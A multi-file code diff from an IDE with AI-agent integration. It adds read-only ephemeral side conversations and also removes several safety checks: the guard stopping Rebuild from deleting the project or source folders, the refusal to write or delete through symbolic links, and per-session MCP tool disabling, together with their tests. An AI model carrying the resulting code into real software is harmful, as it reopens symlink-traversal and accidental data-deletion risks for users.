+11 -31
Переглянути файл
@@ -170,8 +170,6 @@ struct Session {
id: String,
cwd: PathBuf,
mcp_config: Option<tempfile::TempPath>,
/// MCP servers switched off for this session (`--disallowedTools`), its own config's too.
mcp_off: Vec<String>,
shim: Weak<Shim>,
st: Mutex<State>,
/// Serializes (re)starting the process.
@@ -346,10 +344,9 @@ impl Shim {
cwd: PathBuf,
start: Start,
pending: bool,
params: &Value,
mcp_config: Option<String>,
) -> Arc<Session> {
let mcp_off = mcp_off(params);
let mcp_config = mcp_config(params).and_then(|json| match write_mcp_config(&json) {
let mcp_config = mcp_config.and_then(|json| match write_mcp_config(&json) {
Ok(path) => Some(path),
Err(e) => {
tracing::warn!("Claude Code session {id}: cannot write its MCP configuration: {e}");
@@ -359,7 +356,6 @@ impl Shim {
let session = Arc::new(Session {
id: id.to_owned(),
mcp_config,
mcp_off,
shim: Arc::downgrade(self),
st: Mutex::new(State {
proc: None,
@@ -415,8 +411,13 @@ impl Shim {
}
"session/new" => {
let id = new_uuid(false);
let session =
self.add_session(&id, self.cwd_of(&params), Start::New { id: id.clone() }, false, &params);
let session = self.add_session(
&id,
self.cwd_of(&params),
Start::New { id: id.clone() },
false,
mcp_config(&params),
);
rt.block_on(session.ensure()).map_err(|e| self.start_error(&session, e))?;
session.announce_commands();
Ok(json!({ "sessionId": id, "configOptions": session.st.lock().settings.options() }))
@@ -432,7 +433,7 @@ impl Shim {
None => return Err(invalid(format!("no Claude Code session {id} in {}", cwd.display()))),
};
let chain = self.base_chain(&cwd, &start).map_err(internal)?;
let session = self.add_session(id, cwd, start, pending, &params);
let session = self.add_session(id, cwd, start, pending, mcp_config(&params));
rt.block_on(session.ensure()).map_err(|e| self.start_error(&session, e))?;
if method == "session/load" {
session.replay(&chain);
@@ -458,7 +459,7 @@ impl Shim {
(start, st.settings.clone())
};
self.save_pending(&id, Some(&start));
let session = self.add_session(&id, source.cwd.clone(), start, true, &params);
let session = self.add_session(&id, source.cwd.clone(), start, true, mcp_config(&params));
session.st.lock().settings = settings;
let options = session.st.lock().settings.options();
Ok(json!({ "sessionId": id, "configOptions": options }))
@@ -665,9 +666,6 @@ impl Session {
if let Some(config) = &self.mcp_config {
args.extend(["--mcp-config".to_owned(), config.to_string_lossy().into_owned()]);
}
if !self.mcp_off.is_empty() {
args.extend(["--disallowedTools".to_owned(), self.mcp_off.join(",")]);
}
args.extend(start.args());
let launch =
Launch { program: shim.config.program.clone(), args, cwd: self.cwd.clone(), env: shim.config.env.clone() };
@@ -1499,24 +1497,6 @@ fn write_mcp_config(json: &str) -> std::io::Result<tempfile::TempPath> {
Ok(file.into_temp_path())
}
/// The servers switched off for the session (`_meta.openidea.mcpServersOff`) as Claude Code
/// permission rules that deny all of a server's tools (`mcp__<server>`), so a server of
/// Claude Code's own configuration stays off too.
fn mcp_off(params: &Value) -> Vec<String> {
params
.pointer("/_meta/openidea/mcpServersOff")
.and_then(Value::as_array)
.into_iter()
.flatten()
.filter_map(Value::as_str)
.map(|name| {
let name: String =
name.chars().map(|c| if c.is_ascii_alphanumeric() || c == '_' || c == '-' { c } else { '_' }).collect();
format!("mcp__{name}")
})
.collect()
}
/// ACP `mcpServers` as Claude Code's `--mcp-config` JSON (`None` when there are none).
fn mcp_config(params: &Value) -> Option<String> {
let servers = params.get("mcpServers")?.as_array()?;
-7
Переглянути файл
@@ -1243,13 +1243,6 @@ async fn skipped_questions_have_no_answers() {
assert_eq!(cancelled, None);
}
#[test]
fn servers_switched_off_become_disallowed_tools() {
assert!(mcp_off(&json!({})).is_empty());
let off = mcp_off(&json!({ "_meta": { "openidea": { "mcpServersOff": ["github", "my server.v2"] } } }));
assert_eq!(off, ["mcp__github", "mcp__my_server_v2"]);
}
#[test]
fn mcp_servers_become_an_mcp_config() {
assert_eq!(mcp_config(&json!({ "mcpServers": [] })), None);
+196 -12
Переглянути файл
@@ -1689,7 +1689,7 @@ async fn startup_warnings_survive_replay_and_restart_without_failing_the_task()
}
#[tokio::test(flavor = "multi_thread")]
async fn persistent_project_trust_needs_confirmation_even_with_bypass() {
async fn persistent_project_trust_needs_confirmation_even_with_bypass_and_is_denied_in_side_chats() {
let tmp = tempfile::tempdir().unwrap();
let mgr = manager(tmp.path(), Arc::new(FakeAgent::default()));
let task = mgr
@@ -1718,6 +1718,8 @@ async fn persistent_project_trust_needs_confirmation_even_with_bypass() {
let id = *handle.permissions.lock().keys().next().unwrap();
mgr.respond(&task.id, id, Some("codex-keep-untrusted".into())).unwrap();
assert_eq!(asking.await.unwrap()["outcome"]["optionId"], "codex-keep-untrusted");
handle.state.lock().ephemeral = true;
assert_eq!(handle.ask_permission(&params)["outcome"]["optionId"], "codex-keep-untrusted");
mgr.shutdown();
}
@@ -3591,6 +3593,199 @@ async fn security_policy_never_auto_approves_a_request_that_only_reads_like_a_co
);
}
/// A temporary side conversation is created ready, without starting its session and
/// without writing anything to the store; a fresh subscriber (a reloaded page) sweeps
/// it, and deleting it just drops it from memory.
#[tokio::test(flavor = "multi_thread")]
async fn ephemeral_tasks_stay_in_memory_only() {
let tmp = tempfile::tempdir().unwrap();
let agent = Arc::new(FakeAgent::default());
let mgr = manager(tmp.path(), agent.clone());
let source = mgr
.create(NewAgentTask {
project_root: None,
prompt: text("hello"),
provider: "claude".into(),
config: vec![],
isolation: Isolation::Local,
base: None,
..Default::default()
})
.await
.unwrap();
wait_for(&mgr, &source.id, AgentStatus::NeedsInput).await;
let calls_before = agent.calls.lock().len();
let task = mgr
.create_ephemeral(
NewAgentTask {
project_root: None,
prompt: text("What changed in this file?"),
provider: "claude".into(),
config: vec![],
isolation: Isolation::Local,
base: None,
..Default::default()
},
&source.id,
)
.await
.unwrap();
// Registering it starts nothing: the session waits for its first real message.
assert_eq!(agent.calls.lock().len(), calls_before);
assert_eq!(mgr.task(&task.id).unwrap().state.lock().task.status, AgentStatus::Ready);
assert!(!tmp.path().join("store").join(format!("{}.json", task.id)).exists());
// Its first message starts the session like any task's, and still saves nothing: the
// conversation records the question, not the context that rode along to the agent.
// The fake agent's turn asks to change something, which a side conversation denies by
// itself, so the turn ends without waiting for the user.
mgr.prompt(&task.id, text("Why?"), false).await.unwrap();
wait_for(&mgr, &task.id, AgentStatus::Ready).await;
let entries = mgr.entries(&task.id, None).unwrap();
let question = entries.iter().find_map(|e| match e {
AgentEntry::User { text, .. } => Some(text.clone()),
_ => None,
});
assert_eq!(question.as_deref(), Some("Why?"));
assert!(
entries.iter().any(|e| matches!(e, AgentEntry::Permission { chosen: Some(c), .. } if c.contains("read-only"))),
"its `cargo test` request was denied: {entries:?}"
);
assert!(!tmp.path().join("store").join(format!("{}.json", task.id)).exists());
// A fresh subscriber (a reloaded page) sweeps it: it never reaches the task list.
let events: Arc<Mutex<Vec<AgentEvent>>> = Arc::new(Mutex::new(Vec::new()));
let sink_events = events.clone();
let tasks = mgr.subscribe(Arc::new(move |e| sink_events.lock().push(e)));
assert!(!tasks.iter().any(|t| t.id == task.id));
assert!(mgr.task(&task.id).is_err());
assert!(events.lock().iter().any(|e| matches!(e, AgentEvent::Removed { id } if *id == task.id)));
mgr.shutdown();
}
/// A side conversation's context stays within its budget: long tool outputs are cut to
/// their head and tail, and entries that no longer fit are dropped oldest first.
#[test]
fn side_conversation_context_is_bounded() {
let long_output = (0..400).map(|i| format!("line {i}")).collect::<Vec<_>>().join(
"
",
);
// Each reply alone is well inside the budget; together they are past it.
let reply = |n: usize| AgentEntry::Agent { text: format!("reply {n} {}", "x".repeat(30_000)) };
let entries = vec![
AgentEntry::User {
text: "oldest question".into(),
attachments: vec![],
images: vec![],
sent_ms: None,
done_ms: None,
steered: false,
},
reply(1),
reply(2),
reply(3),
reply(4),
AgentEntry::Tool {
id: "t1".into(),
title: "grep".into(),
kind: "search".into(),
status: AgentToolStatus::Completed,
locations: vec![],
output: Some(long_output),
diffs: vec![],
},
AgentEntry::User {
text: "newest question".into(),
attachments: vec![],
images: vec![],
sent_ms: None,
done_ms: None,
steered: false,
},
];
let transcript = context_transcript(&entries);
assert!(transcript.contains("newest question"), "the newest entry is always kept");
assert!(transcript.contains("lines omitted"), "a long tool output is trimmed");
assert!(transcript.contains("line 0") && transcript.contains("line 399"), "its head and tail stay");
assert!(!transcript.contains("oldest question"), "entries past the budget are dropped oldest first");
assert!(transcript.contains("oldest entries are omitted"));
}
/// An ephemeral task denies a permission request that would change the project.
#[tokio::test(flavor = "multi_thread")]
async fn ephemeral_tasks_deny_write_permissions() {
let tmp = tempfile::tempdir().unwrap();
let agent = Arc::new(FakeAgent::default());
let mgr = manager(tmp.path(), agent.clone());
let source = mgr
.create(NewAgentTask {
project_root: None,
prompt: text("Something with a conversation to reuse"),
provider: "claude".into(),
config: vec![],
isolation: Isolation::Local,
base: None,
..Default::default()
})
.await
.unwrap();
wait_for(&mgr, &source.id, AgentStatus::NeedsInput).await;
let pending = mgr
.entries(&source.id, None)
.unwrap()
.iter()
.find_map(|e| match e {
AgentEntry::Permission { id, chosen: None, .. } => Some(*id),
_ => None,
})
.unwrap_or_else(|| panic!("no pending permission request"));
mgr.respond(&source.id, pending, Some("no".into())).unwrap();
wait_for(&mgr, &source.id, AgentStatus::Ready).await;
let task = mgr
.create_ephemeral(
NewAgentTask {
project_root: None,
prompt: text("What changed in this file?"),
provider: "claude".into(),
config: vec![],
isolation: Isolation::Local,
base: None,
..Default::default()
},
&source.id,
)
.await
.unwrap();
assert!(mgr.task(&task.id).unwrap().state.lock().task.capabilities.read_only);
let answer = mgr
.task(&task.id)
.unwrap()
.ask_permission(&json!({
"sessionId": "c1",
"toolCall": {"toolCallId": "c1-t2", "title": "Edit main.rs", "kind": "edit"},
"options": [
{"optionId": "yes", "name": "Allow", "kind": "allow_once"},
{"optionId": "no", "name": "Reject", "kind": "reject_once"}
]
}))
.pointer("/outcome/optionId")
.and_then(Value::as_str)
.unwrap_or("none")
.to_owned();
assert_eq!(answer, "no", "the write request is denied");
let entries = mgr.entries(&task.id, None).unwrap();
assert!(
entries
.iter()
.any(|e| matches!(e, AgentEntry::Permission { chosen: Some(chosen), .. } if chosen.contains("read-only"))),
"{entries:?}"
);
mgr.shutdown();
}
fn attention_reasons(events: &[AgentEvent]) -> Vec<AgentAttentionReason> {
events
.iter()
@@ -4043,14 +4238,3 @@ done
);
mgr.shutdown();
}
#[test]
fn session_params_name_the_servers_off() {
let mcp = McpForSession { servers: vec![json!({ "name": "docs" })], off: vec!["github".into()] };
let params = session_params("/p", &mcp);
assert_eq!(params["cwd"], "/p");
assert_eq!(params["mcpServers"][0]["name"], "docs");
assert_eq!(params["_meta"]["openidea"]["mcpServersOff"], json!(["github"]));
let none = McpForSession { servers: Vec::new(), off: Vec::new() };
assert!(session_params("/p", &none).get("_meta").is_none());
}
+1 -1
Переглянути файл
@@ -548,7 +548,7 @@ impl PathMap {
}
/// Removes `.` and resolvable `..` components without touching the file system.
pub(crate) fn normalize(p: &Path) -> PathBuf {
fn normalize(p: &Path) -> PathBuf {
use std::path::Component;
let mut out = PathBuf::new();
for c in p.components() {
+2 -105
Переглянути файл
@@ -40,18 +40,6 @@ pub fn structure_outputs(root: &Path, ps: &ProjectStructureSettings) -> (PathBuf
(main, test)
}
/// Whether Rebuild may delete the output folder `dir`: never the project folder or one above
/// it, nor a folder that holds or lies inside a source, test or resource root.
fn deletable_output(dir: &Path, root: &Path, roots: &StructureRoots) -> bool {
let dir = normalize(dir);
let overlaps = |r: &PathBuf| {
let r = normalize(r);
r.starts_with(&dir) || dir.starts_with(&r)
};
!normalize(root).starts_with(&dir)
&& !roots.sources.iter().chain(&roots.tests).chain(&roots.resources).chain(&roots.test_resources).any(overlaps)
}
fn module_name(root: &Path) -> String {
root.file_name().map_or_else(|| "project".to_owned(), |n| n.to_string_lossy().into_owned())
}
@@ -219,11 +207,7 @@ pub fn structure_plan(
let mut steps = Vec::new();
if kind == BuildKind::Rebuild {
let dirs: Vec<PathBuf> =
[&main_out, &test_out].into_iter().filter(|d| deletable_output(d, root, roots)).cloned().collect();
if !dirs.is_empty() {
steps.push(BuildStep::action(Action::Clean(dirs), root));
}
steps.push(BuildStep::action(Action::Clean(vec![main_out.clone(), test_out.clone()]), root));
}
let main_cp = library_entries(root, ps, false);
let compile = |name: &str, sources: &[PathBuf], out: &Path, cp: &[String]| -> IdeResult<BuildStep> {
@@ -482,14 +466,6 @@ impl Action {
let mut written = Vec::new();
for (from, to) in entries {
let target = into.join(to);
// The folders of the output it goes into (and a folder entry's own) are
// never links; a file in a link's place replaces the link.
let mut at = into.to_path_buf();
let folders = to.components().count().saturating_sub(usize::from(!from.is_dir()));
for c in to.components().take(folders) {
at.push(c);
refuse_link(&at)?;
}
if from.is_dir() {
copy_tree(from, &target, &mut written, cancel)?;
} else if from.is_file() {
@@ -511,10 +487,6 @@ impl Action {
}
fn copy_file(from: &Path, to: &Path) -> IdeResult<()> {
// A link in the artifact's place is replaced, not written through.
if fs::symlink_metadata(to).is_ok_and(|m| m.file_type().is_symlink()) {
fs::remove_file(to).map_err(|e| IdeError::internal(format!("cannot replace {} ({e})", to.display())))?;
}
if let Some(parent) = to.parent() {
fs::create_dir_all(parent)
.map_err(|e| IdeError::internal(format!("cannot create {} ({e})", parent.display())))?;
@@ -523,16 +495,6 @@ fn copy_file(from: &Path, to: &Path) -> IdeResult<()> {
Ok(())
}
fn refuse_link(folder: &Path) -> IdeResult<()> {
if fs::symlink_metadata(folder).is_ok_and(|m| m.file_type().is_symlink()) {
return Err(IdeError::invalid(format!(
"{} links to another folder; the artifact is not laid out through it",
folder.display()
)));
}
Ok(())
}
fn copy_tree(from: &Path, to: &Path, written: &mut Vec<PathBuf>, cancel: &CancellationToken) -> IdeResult<()> {
if cancel.is_cancelled() {
return Err(IdeError::cancelled());
@@ -542,7 +504,6 @@ fn copy_tree(from: &Path, to: &Path, written: &mut Vec<PathBuf>, cancel: &Cancel
let Ok(t) = e.file_type() else { continue };
let target = to.join(e.file_name());
if t.is_dir() {
refuse_link(&target)?;
copy_tree(&e.path(), &target, written, cancel)?;
} else if t.is_file() {
copy_file(&e.path(), &target)?;
@@ -570,14 +531,7 @@ fn replace_recorded(into: &Path, record: &Path, written: &[PathBuf]) -> IdeResul
continue;
}
let file = into.join(&rel);
// Never through a link: a folder of the output that now links elsewhere (or a file that
// is a link) leads out of what the layout wrote.
let mut at = into.to_path_buf();
let linked = rel.components().any(|c| {
at.push(c);
fs::symlink_metadata(&at).is_ok_and(|m| m.file_type().is_symlink())
});
if !linked && file.is_file() {
if file.is_file() {
let _ = fs::remove_file(&file);
let mut dir = file.parent();
while let Some(d) = dir.filter(|d| *d != into && d.starts_with(into)) {
@@ -796,37 +750,6 @@ mod tests {
);
}
#[test]
fn rebuild_never_cleans_an_output_folder_over_the_project_or_its_sources() {
let tmp = tempfile::tempdir().unwrap();
let root = tmp.path().join("p");
write(&root.join("src/A.java"), "class A {}");
let roots = StructureRoots { sources: vec![root.join("src")], ..Default::default() };
for (main, test) in [(".", "bin"), ("src", "src/../test-out"), ("src/classes", ".."), ("", "")] {
let mut ps = ProjectStructureSettings::default();
ps.modules.insert(
".".into(),
ModuleStructureSettings {
compiler_output: main.into(),
test_compiler_output: test.into(),
..Default::default()
},
);
let plan = structure_plan(&root, &ps, &roots, None, "17", BuildKind::Rebuild, &tmp.path().join("c"))
.unwrap()
.unwrap();
let clean: Vec<String> =
plan.steps.iter().map(BuildStep::display).filter(|s| s.starts_with("Clean")).collect();
let expected: &[&str] = match main {
"." => &["Clean bin"],
"src" => &["Clean src/../test-out"],
"src/classes" => &[],
_ => &["Clean out/production/p, out/test/p"],
};
assert_eq!(clean, expected, "{main} / {test}");
}
}
#[test]
fn no_plan_without_java_sources() {
let tmp = tempfile::tempdir().unwrap();
@@ -976,32 +899,6 @@ mod tests {
write(&tmp.path().join("outside.txt"), "x");
layout(&["a.jar"]).run(&CancellationToken::new()).unwrap();
assert!(tmp.path().join("outside.txt").is_file());
// Nor through a folder of the output that now links elsewhere.
#[cfg(unix)]
{
write(&project.join("assets/x.txt"), "laid out");
write(&record, &format!("{}\nassets/x.txt", project.display()));
fs::remove_dir_all(project.join("assets")).unwrap();
std::os::unix::fs::symlink(project.join("src"), project.join("assets")).unwrap();
write(&project.join("src/x.txt"), "source");
layout(&["a.jar"]).run(&CancellationToken::new()).unwrap();
assert!(project.join("src/x.txt").is_file());
}
// An entry's own folder that links elsewhere stops the layout instead of copying through it.
#[cfg(unix)]
{
fs::remove_file(project.join("assets")).unwrap();
std::os::unix::fs::symlink(project.join("src"), project.join("classes")).unwrap();
write(&tmp.path().join("out/A.class"), "compiled");
let into_link = Action::Layout {
into: project.clone(),
entries: vec![(tmp.path().join("out"), PathBuf::from("classes"))],
record: Some(record.clone()),
};
assert!(into_link.run(&CancellationToken::new()).is_err());
assert!(!project.join("src/A.class").exists());
fs::remove_file(project.join("classes")).unwrap();
}
// Nor does one made for another output folder.
write(&project.join("c.jar"), "mine");
write(&record, "/elsewhere\nc.jar");
-5
Переглянути файл
@@ -38,11 +38,6 @@ pub enum IdeEvent {
WindowGroupsChanged,
/// A window entered or left full screen, itself or as a member of a full-screen window group.
WindowFullscreenChanged,
/// This remote window's connection to its host ended on its own (network loss, the host or
/// its server went away); the window's project is unreachable until it reconnects.
RemoteConnectionLost {
host: String,
},
ProjectTrustChanged {
root: crate::IpcPath,
trusted: bool,
+12
Переглянути файл
@@ -262,6 +262,18 @@ pub async fn fork(host: &Host, window: &str, task: String, turns: Option<u32>) -
host.project(window)?.agents.fork(&task, turns).await
}
/// Creates a temporary side conversation of `source`: lives in memory only, never
/// persisted, not listed.
pub async fn create_ephemeral(
host: &Host,
window: &str,
request: NewAgentTask,
source: String,
) -> IdeResult<AgentTask> {
host.require_trust(window)?;
host.project(window)?.agents.create_ephemeral(request, &source).await
}
/// Drops the task's turns after its first `turns`; returns the message of the first dropped one.
pub async fn rollback(host: &Host, window: &str, task: String, turns: u32) -> IdeResult<Option<AgentPrompt>> {
host.require_trust(window)?;
+6 -41
Переглянути файл
@@ -97,8 +97,6 @@ async fn resolve_launch(
tokio::task::spawn_blocking(move || {
let _external_build = external_build;
let local_repo = ide_sdk::apply::maven_local_repository(&project.root, &settings);
// Module outputs the launch runs from a snapshot of: the originals must not come back.
let mut snapshotted = Vec::new();
let built = if delegated {
let rebuild_on_jdt_errors = rebuild_on_jdt_errors(policy, prefer_maven, info.error_count);
let outputs = project.java_launch_snapshots.lock().build(
@@ -111,7 +109,6 @@ async fn resolve_launch(
)?;
let copies = use_snapshot(&mut info, &outputs.originals, &outputs.snapshot);
apply_external_build_result(&mut info, outputs.failure, outputs.authoritative);
snapshotted = outputs.originals;
copies
} else if external {
let built = compile::build_for_launch(&project.root, &model, &module, test, build_kind, &cancel)?;
@@ -140,7 +137,7 @@ async fn resolve_launch(
&project.build_cache_dir(),
&cancel,
);
merge_maven_launch_classpath(&mut class_paths, &mut info, maven_cp, &snapshotted)?;
merge_maven_launch_classpath(&mut class_paths, &mut info, maven_cp)?;
} else {
append_unique_class_paths(&mut class_paths, std::mem::take(&mut info.class_paths));
}
@@ -301,23 +298,17 @@ fn same_entry(a: &str, b: &str, windows: bool) -> bool {
/// Merge the Maven launch classpath without turning a recoverable probe failure into a
/// failed launch. Cancellation still propagates; ordinary failures keep jdtls' classpath
/// and leave the reason in the run console. Maven lists the module's and its reactor
/// siblings' `target/classes`; those in `snapshotted` already run from their snapshot,
/// and listing both would make every resource (MyBatis mapper XML) load twice.
/// and leave the reason in the run console.
fn merge_maven_launch_classpath(
class_paths: &mut Vec<String>,
info: &mut JavaLaunchInfo,
classpath: IdeResult<String>,
snapshotted: &[PathBuf],
) -> IdeResult<()> {
match classpath {
Ok(classpath) => {
let snapshotted: Vec<_> = snapshotted.iter().map(|p| p.to_string_lossy()).collect();
append_unique_class_paths(
class_paths,
std::env::split_paths(&classpath)
.map(|path| path.to_string_lossy().into_owned())
.filter(|path| !snapshotted.iter().any(|original| same_entry(path, original, cfg!(windows)))),
std::env::split_paths(&classpath).map(|path| path.to_string_lossy().into_owned()),
);
Ok(())
}
@@ -480,46 +471,20 @@ mod tests {
let mut class_paths = vec!["snapshot.jar".to_owned()];
let mut info =
JavaLaunchInfo { class_paths: vec!["snapshot.jar".into(), "jdtls.jar".into()], ..Default::default() };
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven), &[]).unwrap();
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven)).unwrap();
assert_eq!(class_paths, ["snapshot.jar", "maven.jar"]);
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::internal("offline dependency")), &[])
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::internal("offline dependency")))
.unwrap();
assert_eq!(class_paths, ["snapshot.jar", "maven.jar", "jdtls.jar"]);
assert!(info.hints[0].contains("offline dependency"), "{:?}", info.hints);
}
/// Maven's launch classpath lists the module's and its reactor siblings' outputs, which
/// the launch already runs from a snapshot: listed twice, MyBatis loads each mapper XML
/// twice and fails with "XML fragments parsed from previous mappers already contains value".
#[test]
fn maven_classpath_leaves_out_outputs_the_launch_runs_from_a_snapshot() {
let web = PathBuf::from("/work/haoke/haoke-web/target/classes");
let service = PathBuf::from("/work/haoke/haoke-service/target/classes");
let maven = std::env::join_paths([
"/work/haoke/haoke-web/target/classes/",
"/work/haoke/haoke-service/target/classes",
"/work/haoke/haoke-api/target/classes",
"/m2/mybatis.jar",
])
.unwrap()
.to_string_lossy()
.into_owned();
let mut class_paths = vec!["/cache/launch-x/0".to_owned(), "/cache/launch-x/1".to_owned()];
let mut info = JavaLaunchInfo::default();
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven), &[web, service]).unwrap();
assert_eq!(
class_paths,
["/cache/launch-x/0", "/cache/launch-x/1", "/work/haoke/haoke-api/target/classes", "/m2/mybatis.jar"]
);
}
#[test]
fn cancelled_maven_classpath_probe_propagates_without_fallback() {
let mut class_paths = vec!["snapshot.jar".to_owned()];
let mut info = JavaLaunchInfo { class_paths: vec!["jdtls.jar".into()], ..Default::default() };
let error =
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::cancelled()), &[]).unwrap_err();
let error = merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::cancelled())).unwrap_err();
assert_eq!(error.kind, ErrorKind::Cancelled);
assert_eq!(class_paths, ["snapshot.jar"]);
assert!(info.hints.is_empty());
+1 -2
Переглянути файл
@@ -309,14 +309,13 @@ pub fn event_sink(peer: Arc<OnceLock<Peer>>, window: Option<String>) -> ide_core
/// Whether a desktop shows an `event` notification of its server in the window. A server reports
/// on its project; what this machine answers or owns itself (MCP approvals, app updates, window
/// groups, its own connection to the server) never comes from it.
/// groups) never comes from it.
pub fn client_accepts(event: &IdeEvent) -> bool {
match event {
IdeEvent::McpRequest { .. }
| IdeEvent::McpRequestClosed { .. }
| IdeEvent::WindowGroupsChanged
| IdeEvent::WindowFullscreenChanged
| IdeEvent::RemoteConnectionLost { .. }
| IdeEvent::UpdateStatusChanged { .. }
| IdeEvent::UpdateAvailable { .. } => false,
IdeEvent::DbSourcesChanged
+10 -9
Переглянути файл
@@ -219,11 +219,8 @@ function history(page: Page) {
function modelButton(page: Page) {
return page.getByRole("button", { name: "Model", exact: true }).filter({ visible: true });
}
function effortButton(page: Page) {
return page.getByRole("button", { name: "Reasoning", exact: true }).filter({ visible: true });
}
async function expectEffort(page: Page, name: string) {
await expect(effortButton(page)).toHaveText(name);
await expect(modelButton(page)).toHaveAttribute("title", new RegExp(`Reasoning: ${name}(?: ·|$)`));
}
async function selected(box: Locator) {
return box.evaluate((element) => {
@@ -258,7 +255,7 @@ async function selectDraft(page: Page) {
}
async function chooseModel(page: Page, name: string) {
await modelButton(page).click();
// A model row also holds its Pin button, whose label joins the option's name.
// A model row also holds its Configure button, whose label joins the option's name.
await page.getByRole("option", { name: new RegExp(`^${name}\\b`) }).click();
await page.keyboard.press("Escape");
await box(page).focus();
@@ -295,7 +292,7 @@ for (const placement of ["editor", "toolWindow"] as const) {
option: effortId,
value,
});
await expect(page.getByRole("listbox", { name: "Reasoning", exact: true })).toHaveCount(0);
await expect(page.getByRole("dialog", { name: "Model & effort settings", exact: true })).toHaveCount(0);
}
await expectNoSubmission(page);
await stream.click({ position: { x: 12, y: 20 } });
@@ -353,7 +350,7 @@ test("subagent conversation never changes its hidden parent's effort", async ({
await expectEffort(page, "Gentle");
});
test("Settings and effort popup exclude the agent shortcut", async ({ workbench: page }) => {
test("Settings and model popup exclude the agent shortcut", async ({ workbench: page }) => {
await seed(page, "editor");
await box(page).fill(draft);
await page.keyboard.press("Meta+,");
@@ -364,10 +361,14 @@ test("Settings and effort popup exclude the agent shortcut", async ({ workbench:
await expect(search).toBeFocused();
await expect(search).toHaveValue("keymap");
await settings.getByRole("button", { name: "Cancel", exact: true }).click();
await effortButton(page).click();
const popup = page.getByRole("listbox", { name: "Reasoning", exact: true });
await modelButton(page).click();
const popup = page.getByRole("dialog", { name: "Model & effort settings", exact: true });
await expect(popup).toBeVisible();
await popup.getByRole("button", { name: "Configure model", exact: true }).click();
const gentle = popup.getByRole("radio", { name: "Gentle", exact: true });
await gentle.focus();
await page.keyboard.press("Alt+t");
await expect(gentle).toHaveAttribute("aria-checked", "true");
expect(await ipcCalls(page, "agent_set_config")).toEqual([]);
await page.keyboard.press("Escape");
await expectEffort(page, "Gentle");
+3 -9
Переглянути файл
@@ -1,4 +1,3 @@
import type { Page } from "@playwright/test";
import { expect, test } from "./fixtures";
test.beforeEach(async ({ workbench: page }) => {
@@ -53,7 +52,7 @@ test.beforeEach(async ({ workbench: page }) => {
});
await page.getByRole("button", { name: "Agents", exact: true }).click();
await page.getByRole("button", { name: "New Agent Task", exact: true }).click();
await expectVersion(page, "18.20.0");
await expect(page.getByText("omp · 18.20.0 · ACP v1", { exact: true })).toBeVisible();
});
test("refreshes an upgraded agent's version on window focus without losing the draft", async ({ workbench: page }) => {
@@ -64,7 +63,7 @@ test("refreshes an upgraded agent's version on window focus without losing the d
window.dispatchEvent(new Event("test:agent-upgraded"));
window.dispatchEvent(new Event("focus"));
});
await expectVersion(page, "18.20.2");
await expect(page.getByText("omp · 18.20.2 · ACP v1", { exact: true })).toBeVisible();
await expect(message).toHaveText("Keep this unsent draft");
});
@@ -72,10 +71,5 @@ test("refreshes an upgraded agent's version when New Task is reopened", async ({
await page.getByRole("button", { name: "Close Tab", exact: true }).click();
await page.evaluate(() => window.dispatchEvent(new Event("test:agent-upgraded")));
await page.getByRole("button", { name: "New Agent Task", exact: true }).click();
await expectVersion(page, "18.20.2");
await expect(page.getByText("omp · 18.20.2 · ACP v1", { exact: true })).toBeVisible();
});
/** The agent picker shows its icon; its name and version are in its tooltip. */
async function expectVersion(page: Page, version: string) {
await expect(page.locator(`[data-tooltip$=" ${version}"]`).filter({ visible: true })).toHaveCount(1);
}
-93
Переглянути файл
@@ -1,93 +0,0 @@
import { expect, ipcCalls, stubDesktop, test } from "./fixtures";
const ROOT = "/dev/acme-api";
const FILE = `${ROOT}/src/new-name.ts`;
const REVISION = "a".repeat(40);
test("File History opens its revision and compares only that file with the working copy", async ({
workbench: page,
}) => {
await stubDesktop(page);
await page.evaluate(
async ({ root, path, revision }) => {
const h = window.__ipc.handlers;
h.vcs_roots = () => [{ root, head: "main", headCommit: revision, operation: null }];
h.vcs_branch_info = () => ({
head: "main",
headCommit: revision,
upstream: null,
ahead: 0,
behind: 0,
operation: null,
});
h.vcs_branches = () => [];
h.vcs_status = () => [];
h.vcs_log = ({ query }) =>
(query as { path?: string }).path
? [
{
id: revision,
shortId: revision.slice(0, 8),
parents: ["b".repeat(40)],
refs: [],
author: "Author",
email: "[email protected]",
timeMs: 1,
summary: "Rename historical file",
message: "Rename historical file",
historyPath: "src/old-name.ts",
},
]
: [];
h.vcs_log_refs = () => ({});
h.vcs_log_users = () => ["Author <[email protected]>"];
h.vcs_log_details_batch = () => [];
h.vcs_commit_files = () => [];
h.vcs_file_at = ({ path: filePath }) => `historical contents of ${String(filePath)}\n`;
h.fs_probe = () => ({ size: 32, binary: false, tooLarge: false });
const storeModule = "/src/features/vcs/store.ts";
const { useVcs } = await import(/* @vite-ignore */ storeModule);
useVcs.setState({
available: true,
root,
repo: root,
roots: [root],
branchesLoaded: true,
statusLoaded: true,
});
const contextModule = "/src/platform/context.ts";
const { setContext } = await import(/* @vite-ignore */ contextModule);
setContext("vcsAvailable", true);
const actionsModule = "/src/platform/actions.ts";
const { executeAction } = await import(/* @vite-ignore */ actionsModule);
await executeAction("vcs.showHistory", { path });
},
{ root: ROOT, path: FILE, revision: REVISION },
);
const commits = page.getByRole("listbox", { name: "Commits" });
const row = commits.getByRole("option", { name: /Rename historical file/ });
await expect(row).toBeVisible();
await row.click({ button: "right" });
const menu = page.getByRole("menu", { name: "Context menu" });
await expect(menu.getByRole("menuitem", { name: "Show File at Revision" })).toBeVisible();
await menu.getByRole("menuitem", { name: "Compare with Local" }).click();
await expect
.poll(async () => ipcCalls(page, "vcs_file_at"))
.toContainEqual({ path: `${ROOT}/src/old-name.ts`, rev: REVISION });
// The working copy side is the file itself (an editable document), not the historical path.
await expect.poll(async () => ipcCalls(page, "vcs_file_mode")).toContainEqual({ path: FILE, rev: "WT" });
await expect(page.getByText(`historical contents of ${ROOT}/src/old-name.ts`).first()).toBeVisible();
await row.click({ button: "right" });
await page
.getByRole("menu", { name: "Context menu" })
.getByRole("menuitem", { name: "Show File at Revision" })
.click();
await expect
.poll(async () => ipcCalls(page, "vcs_file_at"))
.toContainEqual({ path: `${ROOT}/src/old-name.ts`, rev: REVISION });
});
-60
Переглянути файл
@@ -1,60 +0,0 @@
